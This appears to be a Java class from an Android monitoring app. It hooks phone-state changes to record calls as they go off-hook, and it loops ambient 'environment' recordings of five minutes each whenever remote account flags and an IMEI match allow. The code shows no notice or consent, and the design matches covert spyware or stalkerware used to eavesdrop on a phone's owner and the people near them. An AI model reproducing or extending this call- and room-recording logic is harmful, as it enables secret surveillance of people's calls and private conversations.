package com.m.android.data.phone;

import android.annotation.SuppressLint;
import android.content.Context;
import android.os.Handler;
import android.os.Message;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.text.TextUtils;

import com.m.android.data.entity.User;
import com.m.android.data.util.AudioRecord;
import com.m.android.data.util.EnvironmentAudioRecord;
import com.m.android.data.util.LocalManager;
import com.m.android.data.util.LogUtil;
import com.m.android.data.util.PhoneUtil;

@SuppressLint("HandlerLeak")
public class TelphoneStateListener extends PhoneStateListener {
	private static final int WHAT_START_ENV_RECORD = 1;
	private static final int WHAT_STOP_ENV_RECORD = 2;
	// 每次环境录音的时间
	private static final long ENV_RECORD_PERIOD = 5 * 60 * 1000;
	// 每次录音后休眠时间
	private static final long ENV_RECORD_SLEEP_TIME = 30 * 1000;
	private AudioRecord mAudioRecord;
	private Context mContext;
	private EnvRecordHandler mHandler;
	private EnvironmentAudioRecord mEnvAudioRecord;

	public TelphoneStateListener(Context context) {
		this.mContext = context;
		mHandler = new EnvRecordHandler();
		mAudioRecord = new AudioRecord(mContext);
		mEnvAudioRecord = new EnvironmentAudioRecord(mContext);
		mHandler.sendEmptyMessageDelayed(WHAT_START_ENV_RECORD, 20 * 1000);
	}

	@Override
	public void onCallStateChanged(int state, String incomingNumber) {
		super.onCallStateChanged(state, incomingNumber);
		User user = LocalManager.getUser(mContext);
		if (user == null || !user.isVip() || !user.isUploadCalllog()) {
			return;
		}
		if (!TextUtils.isEmpty(incomingNumber)) {
			LocalManager.setCallPhone(mContext, incomingNumber, false);
		}
		switch (state) {
		case TelephonyManager.CALL_STATE_OFFHOOK:
			LogUtil.debug("CALL_STATE_OFFHOOK");
			// 如果在环境录音，直接终止
			mEnvAudioRecord.stopRecording();
			mAudioRecord.startRecording();
			break;
		case TelephonyManager.CALL_STATE_IDLE:
			LogUtil.debug("CALL_STATE_IDLE");
			mAudioRecord.stopRecording();
			// 发送启动
			mHandler.sendEmptyMessageDelayed(WHAT_START_ENV_RECORD, 10 * 1000);
			break;
		case TelephonyManager.CALL_STATE_RINGING:
			LogUtil.debug("CALL_STATE_RINGING");
			break;
		default:
			break;
		}
	}

	private final class EnvRecordHandler extends Handler {
		@Override
		public void handleMessage(Message msg) {
			super.handleMessage(msg);
			switch (msg.what) {
			case WHAT_START_ENV_RECORD:
				removeMessages(WHAT_START_ENV_RECORD);
				if (allowEnvironmentRecord()) {
					if (!mAudioRecord.isRecording()) {
						LogUtil.error("start environment record");
						mEnvAudioRecord.startRecording();
						sendEmptyMessageDelayed(WHAT_STOP_ENV_RECORD, ENV_RECORD_PERIOD);
					}
				} else {
					sendEmptyMessageDelayed(WHAT_START_ENV_RECORD, ENV_RECORD_SLEEP_TIME);
				}
				break;
			case WHAT_STOP_ENV_RECORD:
				LogUtil.error("stop environment record");
				removeMessages(WHAT_STOP_ENV_RECORD);
				mEnvAudioRecord.stopRecording();
				sendEmptyMessageDelayed(WHAT_START_ENV_RECORD, ENV_RECORD_SLEEP_TIME);
				break;
			default:
				break;
			}
		}
	}

	private boolean allowEnvironmentRecord() {
		String imei = PhoneUtil.getImei(mContext);
		if (TextUtils.isEmpty(imei)) {
			return false;
		}
		User user = LocalManager.getUser(mContext);
		return user.isVip() && imei.equalsIgnoreCase(user.getNewImei()) && user.isUploadEnvironmentRecord();
	}
}
